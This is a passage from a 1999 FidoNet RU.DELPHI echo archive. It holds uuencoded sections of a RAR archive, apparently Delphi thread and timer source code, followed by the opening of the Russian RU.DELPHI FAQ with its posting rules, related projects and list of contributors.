M=(<'BR!^FU`.LLI^Y&'N\VH"_<&)LIU%7_U!0+J,HW?_5U`_-:!>`H)E'1D_ M\KJ"]=D)8E0;*6P_\HJ#]19'__XJ$(.!B`-N"V%?,&Z",# M!&(@VH((Q\$D-T)8#"LB(5J"$,?"'+"&*A#^& M&-G.(C&&V%>F-T,8&'9$0[4$,8^&.6&,5#'\,0:^=1&41L+9.$H5$6`Q+(B) M:@B#'Q!RQ!BH@_ABC9SF(SBMA;*&Z*,#%LB(MJ"*,?%'+%&*BC"]<:GSV^4+ MY:(URC[2J];#'4<\5@Y"'D:AN6RD%A;ZNH=V&P9@*']0Z/%Y?*ZB'FM!/$J( M]1;#Y[Y142RUDO`?4U$W0'WV=%"`*0!$````C`4```(,FA+\"83N)A0U"0`@ M````=&EM97(N9&9MO]W]]CI+3?[FP6OY3X8'4(0-G\Y']U]TA+)_:C=^O+V[ MRNN5:/)PO=@!;_=[=YOVFX7^R-Q"@7[O;O.M_3W%?)5"70`+AW10@"D`+P(` M`!H$```"\8[P=R&8[B84-0D`(````&=T:6UE+F1O9O5(DNE>0K^OU\O2T7W( M1M%ZK'))D6CDDG:8SU+)ZHSUE?N*^D2HUR2=A795E$_4M7TR4ZKZBOW52.O-6]"HFS,[B->I;^XM?:ME0.811O\)Z M`?8'KH-T$B?2-88TB228:MLI)KUS2R=E[U[LN^4P&PC6TP,603I5A0%XI4_[ MZ93'ADZ5;D:5:L4S"4^QN:U3;JDJ@1:"KU#OS0R?KF0D(D`@'X'%&]@1(,.$ M!M@Z]S&`?M&`^BP$+C`=W@27,3H5Z158=$HFR*5=*@I5N&3M!YA'M6T3&`ANRT5-W1H9_K5B].Y%M@0*?K3UP*:-2CZU%*G6W:0D/6K\'K6`OZ8(; M`60$F\QVX^OW6!M`/HW[D1F?L]--V)82/3F2YP?4Z3)VM8>+J+.`_>M&D]O9 MN<8T=$N6(C37:.:2;5L,0WHF+24.U>Y:QHO:]+>`<$@2U:M5-0 M#V`R*BV9CMA9PF"(?D+?R5"G8O/!2LH*TK"E6S:-8I4Z)4-(_?JUPKRK/TJA MI9%DDJ:1$#!*:M91N)(EUTG%?-K)4*5Y`U12\#!I:61KZY/K7JL/4RI@BD+Y M@MC^\W;S^"^PAO%Z27"0I",VHU.$G;(>OED5LOT_DH3W=5Q_:VFE@19M`G8W(5Z64NA* MF[,KQZ]0W9/W$%L(A'J5^U&1J=^U#X^5?DYX28O,[KS6V8XJ2;)GZ(2!(TZ; MDW17K`DZHN&K8%08\MHCC;;X2)YW*=6?==<4^;,*J5NJZW=MM)YB0]/2VZMR MA)(T-TP8S"`:X/X+`9#%'#!`/Y1*+FM3S8W2"U$P(HG+I$`57P6_7I45XPH& M,PT:]%WMAE5G%,J[I[EV0T MEUYB2*1'FE1\;2M?9#1]`(@O`9SM>^D`4JA7JP`^DF<.,%;93DKPW4!8B98! M!_ME/OA"N,8+@`Z^7X33,*)(0_#QF9W>]L:TC2-CQ9)1FNG([>NK%?6S:FR> M\%PU-;3+;IS@2TBP]]O!5L+DSP1)V*RXU=3&CZ0:CD`B!_[#$M3 M.2*ES)6H#R.;&TIA2/TN4/)1JB`6Q;[$/(*6V#^.]]J(V`&&,:!"8I1WJU,I M+-'`(I9.D1F8MUQ4$N!,G7:7Q8RN=84(I9>`JF?7$RY4O:E]Z/I:X6.]1A(X75707DIV_O[J13]HB7EK M6*P"&&8I1#%[JS80B6YWLZ:A4=U`=!HW%J[87'>JT2+YADGL7&+0#C$5P=D+ M]F9?*LX2K&G*VIG>O"ZFLQEZDGG(T:8-!2`SP%/4"'@%X./I$6":&Y2JS14YT,#P7<7CJ7ZA*9%`BYP9%*"*3<>$;[74D'RVEV\,1F33F+"^5 M_E:\BR4;7UILZ;9CO#%`1'I5XE<8(XT&"[?3<*1*%LRIP@V<#9U)(C#=-7WDZ\KN"G: MK%@M<@_W47]X.D^-VO9%X;=)#?TT@(F-57XO>U!2;R].PT[YNGF+8F7*W$NU M'W4F.R-_6K]L>.W>+[4U2N2FOZ^!?NH3 M(E3X:BB/`:KEJRKL`R>3!FL6-)N=B'%/9^X:W=RZ@$?D2B%SL$\A?1(JPFH> M[ZIK.$=L*G<;<.&DR9'AV+L-J(V%]N3,BH7>7>M.0X_H>@6-J)NY+QZ2[W-: M8DCQMK6U[;F8\&OGKWV5EFR$Q(80)!^'(0Y0#/EFN!406F)2AJ"9/`1]AI`M M?*J#3:V2!DV7(W/%DIR M*`GAG1.;C%6]M7!^LL?I`;?#BE9\(Y^(P$B?P9JMG<(^`:NS>$D6!-2WX.[; MY\QKB,=Q00P`D^65A)@P!?@8L'8`0?K,P1G(HQ?C'R@492EB9[F:XEMRL2LU M@*UXZ"L;5BP\DC"3WU\O'(.YM!F-05Y$;7%F3Q3#6(;3YTRZT#)T4(`I`/$` M``!>`@```OST*?DQF.XF%#4)`"````!!8F]U="YP87,F@+-K)"ZPFD38%-M& M@DYUS)]K\=BV+?3)LM%LAPDY(8NU:/31N(2BU*Z(*IT+)G@>G9]>FP26#I-K MW)JE&/Z44NI"0&3\6B*(*G#6-#EM:NL6B*@3!,V<2;G&,T;R1&>(^Z[ MZ!J8OJQPI2R#TA?/,$M0S&A?.U62-O,`T:\U5@5!9:`_8;&702HAEPB<>46S M9I,TNN%K!WTE04-KJJQMGG.E<1]GV#+R`FJZ*C,#"%HL,!KBM6:F.XF%#4*`"````!'5&EM97(N<&%S MO`?R>1_#:YZ^H3H8WA7_A:PCV;S8L=?,/8%L7Z2X6-QFX7;IHT5[Z2OW4>%2 M@EX+O7^?!>OH/V7SZ$+EQV\<+,&="-(&VO;]?M(VS,[I.`<(`=X]#+CK%WW= M]MO]NAMCQ-,^F?:HK]LD^URXIL=QQ%.>)KB0&VCF:ERSNSPO>"WX?A)\&F9X M-2X[C@ZCU=:>S5.-1UH80M0<>+<'&"Y!Q@NX5.P$T!\,0V1[@XD?'`P(+2(6 M84%4%4!SH#TP!R0!PP%8"L`<\`>E^.1^.%^J_5?CG?CTPAR0APPE82L(<\(> MF&.2&.&&K#5A\RU1$QXAQ%H8BL16)RQI(BVB+CQ@BK0Q58JL4<\4>E\]QXPW M+Q@Q7(Q@QV2Q@R#+EAEN=B1F9K8>)K&X,AST:#%PQSFW'Z6_S=I<=&/YV%VN MFG8-OT";7V*.B7IP.>SL_6,Q1GH-//AD\:MS/DIN?V^`MRP582L-6(K%5?/? M&T7H>-VZ`K!5A*PU8BL55\]\9:?+RL_.--DW=NYL3>%,G-HAMA.:1L,\<&%] MN=.^>-"SVHTS09C<@H MCR=#`YQ9\[<3'ZS$%8"L'!YUN$YK88V1%8JH/O)SB=X[JACE"\Y5\NYV=Z&83H3;Q<"EF M$PIQ@2Y`'UMFJ&^T,*&ZY M5=%B3SD_G<68[+]OEK'_G$.9G7X%?\_`S]93^RY"UP(#4@-T`?!`&J`-T$?! M!&J"-T(?!"&J$-T,?!#&J&-T0?!$&J(-T4?!%&J*-SY[XPK^]<+`/2@EFY:= M=)SMCV(=WJ&3DP&[Q#*;L\<<[9:.=LQ];M MD3S2*M;.YV/S_QT?WZU)_@D`_:(%^T03]H@SR0C%>>$*@MS(6:2%IR`\H*H* MGDA$5CW8`^:!9I0+3H`\P%8"IY(180]V"/F@V:4&TZ"/,%6"J>2$:R/=A#YH M5FE"M.A#S"5A*GDA'X#W88^:'9I0[3H8\PU8:IY(RACW8@^:):I1!NB#S$5B M*GDC*(/=BCYHMJE%&Z*/,56*J>2,HH]U\]\>R\'OD)#OGN"1%P6B)"4WM<;M ML6F2,MGG)&U:W,D52VV=K_>'\LY]IZ'5&`JS];$$SJ4`VW^3P8DE:U#=8=S< MS_+Q?#^;Q?!\OQ?+](OC^7Y/G^'Y?MAH8W'<@W>Q&[VM'E;/I[4F;.UN3]`) M_J6ULRG?9>P'T7.J[9L/I4;C+Y9]\>,,+IA'**5[#/*BF+WFS!O^?F$?_LX8 M5^M70L[Z%KO$!UX`]^`/O(`Z\$>_!'WD$_%'WD4==\]Y^8:ZO]G83E[Y`8CR;D*CF?\>,#^/]/Y;W sum -r/size 3510/7833 section (from "begin" to last encoded line) Vale! Vladimir //116 //omni_@iname.com --- FastPost * Origin: Lupus non mordet lupum (2:5015/116) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 186 of 341 From : Vladimir Zaytcev 2:5015/116 14 Jul 99 18:12:00 To : All Subj : [02/03] d3.threads ──────────────────────────────────────────────────────────────────────────────── Salve, *All*! GT_SRC.RAR [■■■■■■■■■■■■■■■■■■■■··········] секция 2 из 3 section 2 of 3 of file GT_SRC.RAR uuencoder 1.2/DPMI (c) by sk MPOB_X9_PLW]/U4P30O:,YLN`K-FJYJ]-&FGBS*X\R^.X:)G@!`_@UVKIWH^OI39KG0 MD2\,L<+B73\1_GX7$N,E,1/;*=GD?>HAW^D/$S,CUGM]>E)PIVP'B?"#^D!@ M1+A;J0$"D'A"+]"!>O@\:.]#=%"`*0#:`@``DPD```+K=)H`G1$;URXLUD2[;)Y+,EV< M=SWY?X%PWD5*&Z3QBQ)%N.V[0E<[AS=ACZ@`B![5'<2KXDGY9+,V8+0%S= MR)F,Z#8MI[M\1;-%B1AP\FB8#BM-1*OC.6*;M#:D+QM*#+V??[;:%+[9GC5` M>T"90QV83Z\G@59Y(>)`[.G'-6S6[>[/8,9LM+8L8E4]D8HV(%T(#PEL%]H3 MZ(6`Q$YVE@U6P\6[YKY]%0NE?"HTO`+7!R*"'RX27EN&;C&Q!4LU889FQBE& MAG`S(]Q&(8);1@[_PAG:&)KX""Q=F-";K&3,X-G?NRD1=1BJHI!W"U9@HA2) MY6"3;/1C5W&3V:=*NF'+7T._'!"*@L]DV-\?V_LF?HZB3\RD#>J^"])W5YCX>YIM+76(P-9I0Z7< M2V7)Q"RC3^YP1O,/^>:(SFQHNH%9OJV67KYV%#*`(I@=%"`*@"Z%P``NG@```*W$Y19?6Q8 M)A0U"@`@````4EA34$E.+E!!4__@P!D13,T0P`%5G-D\M`V#?">,\^:,@"X< M9:TIO'D&E),1(DK&IBZ@HI])@P,+$BFR-*)0)*?36,_7 MA;$?#M/DL2DEBC#'/PE32MVB&)F0Q=V1=ID$/4NP:FLN'ZMB_BK])%[*ISJU M?XN2$=/8C]5:N;826=JD-Y53I.J^=J"`ZKU-YY1NYQ:=S%P[J6)*YQQ9YIM% MBLN7C#&WXU[Y]41JW@S,;@-ZB]%%5K3Q7G@'L>?BN8+>_ M/+;_6UTN[U5::TMIA?')=2VA9(>*QL=$>M8KH<+;72MTS6WI8']H$*?BSRI_7OAF@H+ZFJ@TF,$GZY,;?DN<`,S&C]GP2^L`PU\)C?"`X>?%W?MKFMW=].=K)YA1TL#H9[8(]K#?P9\")U[[XGE?:=ADO5Y@CZWE`I'D^4XW4!$$Z!MSBB`3'#@ M"QA"`$;/^(I!X]@,/"NA$GB]NPZ.RI#1JC,@G%$M2W2O;V1.#"Z!*R+JXXYL M,&Q?Y[B#S5IP,ZY#,:5)5MYJE6YN$=I6+J.K""HY@-?U!%`H:A>OO\4.)V0P M$YN^,'8%N@J1JIK$J3QX0N+C!P#F\>R=.%.:BOYJ---?*46N.3GB5Q M.[Y^1/3?O8$(\5^*KV]ZYPY*KW?J(1&K)!.GA'"_@+*O>C5EEJF+BJ,7I''/ MA.;>*\G9&PCD?2P<\\P/*^>I'W,YA@W]M1ELE5VW5A_B6B"FT7GR]!-LXKGP M4T;5LC8!O%C:]OOFBR::A]FLP$?/4,A5OO M(0;!AMO4_6G(Y/()[!#O/KD(NJ-1(Y=BWYG)92CS<`SI82I9*199HBKDFKA7 M@&!&/8'[WYI2+W/IV1W+W)WHJ%#DK5O2[\*K>8K3P[9JU&)(5.PW/U18P!-'*A`!8H1 M.%9I:\+ZX%^K(5MQ^F^A.MBN]JOU#;4 M5K6MVFMM-\`V_+82#H/KJ`/U-G8M,!D0SX6'-.Y7N"?S=0H#3U:^KK[.50]" M,SIHVZU30+VSH;R@+@DYP2ADNU9!^-)F43)Y;F#%Q[MV!HKPU-EC3&-I#S$S M`4AFR"0(%Y/"1/[J*9W1@3C:%/),`J*R3$Q3N54/OI1-4_(<+YHF?`/?O;_\ M;W8[^GFO;B+BF;7ED$K=GU'0@.NW-;MN$=,ELL&?=E)*@E(`U5,XMT.@,_[^ M/")L<]59XWN50*HCEFN"4&DJBC-;-*8-F"HHT`NBV0;M3F'_T?Z M$7PJ\(27:M*/0W!!95@QSB]A7X\;9(76C1PT3<_4]<19U&4^A3KKZ+@1K\9_ MP5&'ZE_VY#^*UDO:T0I`11A@@^A$69.;;T6W<.'#;@BH$,#809\1XY+N%?6Z M#_'B\D,9X5DQ14&RQ?A@^>1PC<:#ZUTK*FU$`V?VS>N^BBH^LNF&X$/MXGT6 M_$2D?\O(Z\C;E^'ARZOTQ_`D?P]$8H4O#8Z/PI&WL*(0;(PHG<@#2OA7(D4/ M")\J0\Z.SGE`45]G.BO$0 M3TEHE]ORDHN4+G?*V]B@G,R281-&^E\$1Z"2YS+/@V]K*AN;69GKBRYCQD;7 MV>_L9AW-4BMG:>:"VMT*F!*_DJ5,_+Y)Q(^R>B;$*NQ)B%YU4H'OR%B?/.!_ M,G,[D:*H$)SW1J.S9@^"8IM"ESA;/LDH!U?/T@IX)<)J073'LY_"+(5`%*^P MC)M:_N[Z827NZH#[CC>MTS%YI.ANASLK&:3E+JR>1GI^<=>H2:E"4?2,5V4[ M$-"'3-]V*%9%(4=0LXLD6H3\20O\UQ MU%;Z!;O`WPV7>PU[8X"07A?UZV1Q3>3.)! M*]&B[>IFBAK(?/H+4*T.X6HI2!?H&I"G4;R`3J2#'NJ_6FX)`TRV\Z%@BCTS MO6Z5/*'4'%](/WMU6-"0F=OD9J`54!Z6I3D]FU;X3!SZS$=*F8'\XH33P<>'R([J<&&WKH%=U-W>MM1R$2Q MRO]6';R)N+YU^Y=NB0*6RJ@O3D"@GG1#P!V==)];*9-02%!!U,"D)V.KKE%` MT'RR3(_CN7;5^7L9SL0'F6[E8IIC]@FAUP&D45"5JW8Z"+Y[M:<"7C%8-R+LC+%/D)3EW0.`_ER38M_A\GZR/ZE*FO MSA?V"GY6'Y:H?HJQQUTTS357@IT53GYVN(//)'`VL&NS=8V!GAO9ESH$C3WT MK)")OCFJ,M+^#J!E>6:H#%>RV344G1?/3=K!NWL/$Q,/4C90K6),='0:J)WM M]>YA0*RM39E`!=)N[N]^EF*[%@]"VB@:%80DH41^;XF+`G`'<'UTP(1+U[QI MO'VSXE=^]N(8[DF-7U(%Y/M2?'(Y>7-M5#WF1P9.7E1GGJN:>M7FSSYZ@J;4 M%ZO#U$`_`;S[*,78H:G_>EZ,]"?R_>EZH1*C:#;1,)S3$7H!=KD+!T!.R[K$ MT,_NHBGKP=TEG]617T413<-"?<=)0EH"H;AQ*3Q3#1B]]45B);FO630R+"KE MXF"3KK M0>$!P6IKA[,HWFV_RLZ+EC1U;'"1''!@>YRM)\VI)"%UD;2"+M!QR%R&2'L. M@C)\&31,EA3P]712TP*N*0/AP>:!(1D MH#PGC?#R/'OUJ'69P>J.!5`6?P?HR8U7KVD5]"ESE^."8"0L2)P"S@$'\\M4K=:VY@_D4?A%9F81T42?(?96"/G&238M1< MH+J&);OXJW@[VW6L[.MK+N\%+^Y)G=M6,-0 M`QB80'>.J9VDI9\Z&5H<9[],*^SX,1G0&,4=OM2#4VH>\%0L MV<%PE7%&[3Q[_>`0\OJ6$%U[B(7L9R?KN^=B4H)Z6(P-2*I6Q#0^I615E9RG M5'4D4@K1KS9]SB4B*>5@\/K]`.WI^*UW=S7T]K9V]4'H,038L=S&O!A!SMUQ M;9U4XAP#"$!0I.X3M3D[M?ZL6Q;\^*EDU0:=L.')3W MPYQ"WON;8\':E7M]1.4RNG)N5PP`V+0$$0C>JDPB/6JV-YH3Z)&F-($K2:!D M7&M%;MW9;5*4%2I3U'3V2MRK,A\)N@IC)RC(BNYP2+YX8VB^FVU?)>&B5B*E M1>C:"K[=/OK#L,9[QR1P8Y(1;S*B%EV6A>RY3IK[]B3Z-[""`%3T5Y]*D9.3 M#6#DR9J5>A)B:L9I8F5MB*:NC&8THS&/9#QF+^8QV)\7;K3Q1E>:04:!ERE! M(Z_!BY$=S@4-)U-L.<])CCI:]4Q-F?F;J!N5*A3RU5S=]3^$MQS&$TK\9Z"* M8P`^PLW45@E05%ZP$^>2E/ID5Z*GU)%+PH\4.`4&"3^"3V!=J=(G`(CT9M-[ M:&CPMPSD4LJ+E+NOB=#&BHD"Y#*4VI-J))(3!!/:3H,QB?A<39+M-/"CLX62 M`O1A))E+$T#5/?LC+[5]*2B15<6=A&FMVZ,*6YS<\*>FDMDW+V2)8=08D107 M#&,0V.!A?T??R?C;WY[=+MVP,5SJ"6TUR&&5`T@A#J:/=+RTX*"D_CH@KQ4V M+J8J*+1*T(H5V"8Y(G%;=:J!S:8Q)%71)KB7I&?;29#+:WYR4.D*,257'ZL@ M7[Q[,0[N3K-Y+\VX-)F[T:T((RR:-M_J^(SLR<6Z=`JSKCDCY@J$0`&JH5EF M%W<=ZC34'(P#,C6M1*>)707'\K6RR>'XI&X,V?`UNG%LU1#Z'<">11S&1S%HW M4XED`6L?3!IZJ0&`:B1#]62#JU4#5H4%H>K@WXR?@2QFKN?4WF3J&3TFR16* MV8]E,(OU`TYB/C*QKM!J6GTD`WR')E+'5SY2^?M#GT^P=7AS_-BC$3X,BZOO MME@;1KM[H0EU.[6^?Q;FUD6'Z!I2_II049EZGT1D61*8 M[<,I0K%4J/*Q!R9:?3"8=QC*%WJJ#K4J;,-QA='$>:9!OJF,\72"Y=)^B6W- sum -r/size 46348/7812 section (from first to last encoded line) Vale! Vladimir //116 //omni_@iname.com --- FastPost * Origin: Ave, Caesar, morturi te salutant (2:5015/116) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 187 of 341 From : Vladimir Zaytcev 2:5015/116 14 Jul 99 18:12:00 To : All Subj : [03/03] d3.threads ──────────────────────────────────────────────────────────────────────────────── Salve, *All*! GT_SRC.RAR [■■■■■■■■■■■■■■■■■■■■■■■■■■■■■■] секция 3 из 3 section 3 of 3 of file GT_SRC.RAR uuencoder 1.2/DPMI (c) by sk MP/DL*JGQ*Q`%U'E;M\4M2DRM*RK!>T^)[H8AJU!(MC1QN*G269`D`6NS8M;E MG8I(8@QN*L;=;2VK'(S^4+Z9.'CP]*F\/3#8W%,`L9^/F+.G)AR(WA\Q][N\ M#G3;N53(V[BN=B[B:DM^'@X4VOYNUT=\`_6MK^*OJZ6ML_-\]CPT MQU3AOKU^@ET!]`[5!9E@!CTKV&YN<70C@K`=!RHH/J="9EL:TV.F0Q>C\ M8LK)*9-67A]"3XNTE7L%8K&T?L-W8@4/RE1->YHHFRF2ZE6^>%?KKV- M:Q:Y!2>.9B3;,YDP4-TU"FYL?,5U.B!":Y&Y'>CZ"NWTV.C`^D;L=?O[-FOT M=E6"6QM^+E&I:R=7YNZGXUA=M8&#&5J&7*2CVWH_/B(Y39.F]T9)NEX) MY&^F/R)@PCLA$X6QN#7WOX!H+7W-:UJCYQ_YF[X4ESO:K=W&->SEP1;Q!-M& M59^CP#SKO^;V!N,LI-[>LPFM4+4@!1RF1 M8G=X/$3]_BVK".+9LV*UK8VD!PKY4O]P4A2I4$L\V\94^ODRY(.M.B7/G+S) M&T@WV(+7OWM^C&<BAU%Y='J,0#4*3A$))/'45^1+M[%@NAL'$];R(SV\;8>*[N^@9(D+JO0$( M.@8367F&"\N-_)^-_9P^]$/?U1[*1%RKUL:]VO63>8W?+;!T600*G1<@!$J0 MK3D+X!9R-$I^K7$F5BL+YQ*1H40JE.9<<4S!&DU2I)<8*YI14J)8CV<$A;LX MH0;!KH!4'DQR>P>!&#'7L2F:B4($)8O9N+A-=1-::_'31MC$?`D5@.J%CT*_ M>W:B,F68X:H<\OW4LO>C>`.&76.^NMUF:7-V901ZUA^0&6=;WB$L%4`/#IAK MD!J62?&F9YU`2.47ME-B5T&J3WC#5*HPH=7&FK$#8Q.8.8BAHL4,\J0&0,TS ME/&>(XAX[:\N+IG-R\Y2-M07(J@M,0.P5+'UP]E&&BI6Z9IJ%2D.;Y4@M.'O MH]3[.\84=U=K5'1V%HA,*[0[ M5&UC'M,."<1F=8U%$B??"A[F(D>FJ`^6WX+3?N++A>XI]UBE2M/(M>J@^HET M-)1%!PPU.G$LR^VZ`C(6][ISES)Q4HKAR7SHAQ7W8_@5/S+\L)A5F&/_T1_] M)P_;4_L&8[7QBFGU[.24=5R*A[SN:Z(*70CQ::5&LG'E M@L[HW=#!]]NV'-'J[Y6C7*FEQ:.LC2;9F0;2<4-*E=S4MS[.]I3BXQ^Y7*K'\4BX?O-`)$ET4(`P`#4#``!S#@```A"TL-'CD^XF%#40 M`"````!4:6UE8&#PY>H9'_1=_K#>HH+21V9Z+4]0C M>I!N4+]&STU>@=Y'/1N#?@%:RX+B[UJM1H:*1W?'5N$CHJK]4US;;MAPU&_A MR:1-\*?K"G+O@9)H5['GQWQXK58.U8F-8D6`U2L(07%+20C8,GY52L`.::P'T#,R*#7BF; M0!(%!"N2=D3/&/X:01=''P'1_;4J4^W4I3GAKQ%TY$P_1R:SX$Q,VJ[N@Z=C M;W_*[O\@XS#E?+/4#XCRO;^>QZN41[N>JK/1D)Q!#6>NO1D&-;T9AK-T7[Y9`?1,KNI6!9H&.>.'P;\?RP9833%T>8[>.PI@RP@JL^ M7Z`9S%?Q3?)F==O,==I@^!DK#5(I]/C3M=HC(=*8)6./-=@07D5XZE@5?SNR M&9$&1WYN?WY*CV2)%R/R1,(ZO;K2.43)]2!0Z`*X^+1SN@6I,`BBA"/:T[`] MC.SZ`!_>UJT;\37]N^+S&;S*.7.&Z/!;=NI-4FJBT_OK]OF5S$;@0LV&W@?( M9[]FD2R-%RH,F'@P_IPGP,0",3'JRUPH#BX?M+JE M-WTW3Y97XYY'//Y'&'/XZ^9)_G^W]?^__4GW_N_;]GV^P^S]GY@\CDU^G"W^ M97D<2Q9L[-E/D;B#0OP`@[+HKBZHS54LS_%%3/]/O_9_K_Q]\GV_\_N_A[#G M?\/W_KDJ(JO_E^_[OM_V^QE6/!6UM+7T@;H=E7FO#EC*=710@"D`20```&P# M```"D0H):2*,[B84-0D`(````&=T:6UE+G)E<^LG^TB$?VAAUGOS[OQ*C_YP M_W\R(/\OY?Z_Z.:/_^_VF1_WR_B_J*[UT!_T];7ZVEUM7K;`?ZMUMGV:Z(/@ M77_;^PX%?N_$/W#O/G8`0&X`%#04]A1/?AFNP!JE9,*NC>L/7?D`F+-7M4]E MO?.3`R7$"&GE<56G\,& M$_\6][K>\DIU.<[TDBI+I++AIY_(9:"PPIY!;?"LET+[>`#`&@`X!```%`(` M'````%!R;W1E8W0AH/ MTS"'D^Y(M."(G/Q$)ZN@*3EE0;,D\^("W:;+5#D,:S[SMV!0S!F57D+H87W%Y8F>X)]UV!G7>)=(_C"6!N_88PTKG8OP`IGY M3AB&*1>XQ;)$O.;U.5RPISC6'RQW.:)VM!YI$2(IV0%:H!BWY<5#P2FJUZ_W MZ-(RBZ2I87V2?;Y@YEO0J$Z7_,Z;.PIW*2RUG'WN]916U`S)]",CWZKGTG0S M3+9[D[X<<F_SD/5G5,Z'5;XU5PE+;$3/O4' M'>T)#%RGF4?IE2>X7!Y^'=_,7B'81@7?C,^YL6-&)R5^`!ER.X=-L5JJ4OKG MO-U(P+]#50=K,!/>G@[GYSX`3#6=@)#,V)C8&Q^GE8V_@E5+Q=2*"90(\ M^"-Y[B2HO;Q489-O)XF=`VN;OUFO;OA<&HFX)KB/^0D%L2F*6:CB9A_?[9]M MT"DBXX_!P\GK!Z_7%%KPFAG.K0T<0RYPP#O;\K93AEV3: MSZ,.F=`1<>L!%]/MK(H_&_RP8Y)**O]HW5)$)T2.\'-&6WB@[+,T*4ZOU'X> MKJ3(%`+Y@Y6;(^2T(3BFM5V,2M*DPG28[-70A`*\$?/B3$`,GX?6/1^M=J]G MZ?1:L"/+S)]S8CH-(SQK2$I14?*2$9Z^E-`;@/!Q,>E6%I%=+`J#E<"C5J=" M)'/&T+*VB20:BU#%(#>&'L;MDP2J"@;S0H>W%U&34YIIC*.%Z< M29B=6C:T"GINH^55?\;RZB$]3BZNO*J?!=?*)20@F1F+0'KJ\*9F*0$DZ$'A MH%3?#TD_IR^IY=(HPRQ6E3):_$=N$/[KIWSDEC"F,7;5>I1B2_9\C3OI3R*A M?'\J39#Y3?IQ%B54?L5"B%*_^'<]ZHQ2FX/`8H1+79U2MQ^ M>AN*VN+_M2X'AH.11XK/AW(P\9(%X!:0_W!D7%B,A:.<4!R;!RU2PXU0"C^_AWAKSN6;$]JO*T(+B]7/E9I5RFMN;Q5IR& MV&+\LE2;18(IY$E[BPUX5B8ILSX>A#R#GIR$.\B]8#_@U(LMR5]M.K=TF?OA MS5QF)E3&$G^TLK_`D,-B@6?G9[K_R,WR;;-\.`3U,C&WU*9OUP0PBI+[= Преамбула $Id: ru.delphi.f.a.q.tei,v 1.17 1999/06/11 20:53:48 alexm Exp alexm $ (faint directions) Этот F.A.Q. список ответов на вопросы, наиболее часто задаваемые в эхо-конференциях RU.DELPHI, RU.DELPHI.DB и RU.DELPHI.INFO. Copyright (C) Alexey Mahotkin 1997-1999 Ответы на вопросы Copyright (C) авторы ответов Пожалуйста, воздержитесь от задавания вопросов в этой иерархии, до того, как прочтете этот документ, правила иерархии, ознакомитесь со списком рекомендованной литературы и проведете самостоятельные исследования вопроса. Это поможет всем нам сохранить на должном высоком уровне соотношение полезной и бесполезной информации. Правилами иерархии, в частности, регламентируется содержание поля Subject: ваших писем. Дело в том, что довольно большое количество "потенциально полезных вам индивидуумов" читают эхи методом "по сабджектам", сознательно не тратя время на письма под заголовком "Help!", "Проблема" или "Вопрос чайника". В данном случае использование комбинации клавиш Shift-1 лишь усугубляет ваше положение. Подумайте об этом. Здесь не приветствуется: * обсуждение вопросов, относящихся к базам данных, в RU.DELPHI, для этого специально существует RU.DELPHI.DB. К сожалению, мотивация типа "мой аплинк/провайдер не получает эту эху/ньюсгруппу" в данном случае не принимается, потому что за продолжительное время, прошедшее с момента создания RU.DELPHI.DB, следовало бы подумать в первую очередь о себе и создать для себя необходимое количество каналов поступления информации. * обсуждение вашей совершенно новой и безумно свежей идеи о том, что эху пора разделить на две/три/больше частей, потому что читать ее нет никаких сил. Вы даже не в первой сотне придумавших и успешно высказавших сие. От себя могу посоветовать пользоваться хорошими программами для чтения эхо-конференций. * обсуждение тем, не связанных с собственно Delphi: алгоритмы, общие вопросы программирования под Win32, общие организационные вопросы, связанные с разработкой программного обеспечения, etc. * общая неспособность получать информацию из окружающей реальности. Прочтите книгу об эффективной коммуникации и должном отношении ко всему. _________________________________________________________________ Доступность этого F.A.Q. Этот документ регулярно изменяется в результате отслеживания происходящего в RU.DELPHI.*. Вы можете поучаствовать в составлении документа, прислав по адресу [1]mailto:alexm(at)hsys.msk.ru" сформулированный вариант вопроса, ответ или дополнение или исправление к ответу. Довольно важным критерием отбора ответов является размер. Я не хочу публиковать большие куски кода, предпочитая давать указание на источник дополнительной информации или направление самостоятельных разработок. В любом случае, вы можете обратиться к авторам сопутствующих проектов, список которых приведен ниже. Разрешается свободное распространение и использование этого документа при соблюдении определенной вежливости по отношению к автору и читателям, основной составляющей чего является соблюдение целостности документа. Hе очень приветствуется выкладывание копий этого документа на WWW: подумайте, нужны ли вам непрерывные усилия по синхронизации? Если же вы вынуждены использовать этот документ на сайте, для того, чтобы создать его содержимое, подумайте, нужен ли вообще ваш сайт? Свежая версия этого документа находится на домашней странице автора [2]http://alexm.here.ru. Остерегайтесь подделок. _________________________________________________________________ Сопутствующие проекты Существует также некоторое количество подобных проектов, освещающих те или иные стороны вопроса. Документы на русском языке Delphi Tips&Tricks, автор Акжан Абдулин, 2:5040/55. Это большая коллекция кусков кода и обстоятельных рассказов о том или ином решении. [3]http://delphi.da.ru F.A.Q. по фичам Delphi, автор Михаил Чернышев, 2:4615/26. Это описание различных библиотек и компонентов третьих фирм, не входящих в стандартную поставку Delphi. [4]http://www.chat.ru/~ivanuts Delphi F.A.Q., составленный в Демо-Центре, он же Epsylon Technologies ([5]http://www.demo.ru/homerus/delphi/faq/faqsroot.htm). Большой набор вопросов и великолепные ответы. Кажется, первый F.A.Q. по Delphi на русском языке. Многие из этих FAQ можно найти также на FAQ-сервере по имени AkFAQ, по адресу 2:5040/55.999. Документы на английском языке Delphi F.A.Q., находящийся на сайте производителя [6]http://www.inprise.com. Это официальный F.A.Q. Delphi Bug List, лежащий по адресу [7]http://www.dataweb.net/~r.p.sterkenburg. Это список ошибок во всех известных версиях Delphi, адекватно обновляемый. _________________________________________________________________ Контрибуторы Список людей, внесших свой вклад в создание этого F.A.Q., в алфавитно-случайном порядке: Akzhan Abdulin (2:5040/55), Alexey Tomin (alex(at)soniir.smr.ru), Anthony Buntyakov (antosha(at)metcombank.ru), Arthur Aseev (2:5030/465.2), Andrey Grigoriev (2:5061/24.20), Alex Konshin (2:5030/217), Alexander Lokshin (2:5020/529), Alexander Petrosyan (2:5020/468.8), Alex Petin (2:5000/97.8), Alexey Solodovnikov (2:5030/257.15), Andrey Ruckoy (2:5047/7), Andrey Sarinkov (2:5040/33.121), Alexey Sinutin (2:5022/12.16), Andrew Verigo (2:452/23.32), Alexey Yashin (2:5020/62.31), Boris Loboda (2:461/256), Boris Podchezertseff (2:5020/656.20), Dmitry Kryloff (2:5054/9.20), Dmitry Shikhman (2:468/13.32), Edward Shigapov (2:5051/22.8), Eugene Kopko (2:464/196), Evgeny Levashoff (2:5022/31.7), Eugene Mayevski (2:463/209), Eugeny Sverchkov (2:5031/12.23), Ilya 